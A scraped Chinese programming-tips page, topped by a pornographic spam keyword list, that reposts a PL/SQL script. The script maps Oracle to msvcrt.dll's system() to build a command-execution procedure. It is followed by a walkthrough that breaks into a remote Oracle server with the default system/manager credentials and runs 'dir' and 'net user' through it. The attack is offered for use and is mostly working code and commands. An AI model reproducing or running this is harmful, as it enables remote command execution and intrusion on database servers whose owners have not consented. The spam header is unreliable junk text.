日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

oracle executesqlcommand,Oracle Execute Command Sql Script in Win

發布時間:2025/3/21 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle executesqlcommand,Oracle Execute Command Sql Script in Win 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

--?----------------------------------------------------------------------------

--?SQL?server下可以通過cmd_shell調用系統命令,其實Oracle下也可以。

--這個SQL就是建立一個類似于sql?Server下cmd_shell的過程。

--?----------------------------------------------------------------------------

--????????????????????????????windows下的cmd_shell

--????????????在win2k下的oracle817測試成功

--???????????????????????????benjurry@xfocus.org

--?????使用方法:

--1、以dba?權限用sqlplus登陸oracle,

--2、假設這個文件放在d:\win_oracmd.sql,則在SQLplus中輸入:@d:\win_oracmd.sql

--3、在sqlplus下輸入?exec?oracmd.exec?('dir?>?c:\dir.txt');

--?----------------------------------------------------------------------------

CREATE?OR?REPLACE?LIBRARY?exec_shell?AS?'C:\winnt\system32\msvcrt.dll';

/

show?errors

CREATE?OR?REPLACE?PACKAGE?oracmd?IS?PROCEDURE?exec?(cmdstring?IN?CHAR);

end?oracmd;

/

show?errors

CREATE?OR?REPLACE?PACKAGE?BODY?oracmd?IS

PROCEDURE?exec(cmdstring?IN?CHAR)

IS?EXTERNAL

NAME?"system"

LIBRARY?exec_shell

LANGUAGE?C;

end?oracmd;

/

show?errors

補充:

利用弱口令進行入侵:

C:\>sqlplus /nolog

SQL> connect

system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

SQL> exec oracmd.exec ('dir >c:\dir.txt');

PL/SQL 過程已成功完成。

SQL> exec oracmd.exec ('net user >d:\cmd.txt');

PL/SQL 過程已成功完成。

總結

以上是生活随笔為你收集整理的oracle executesqlcommand,Oracle Execute Command Sql Script in Win的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。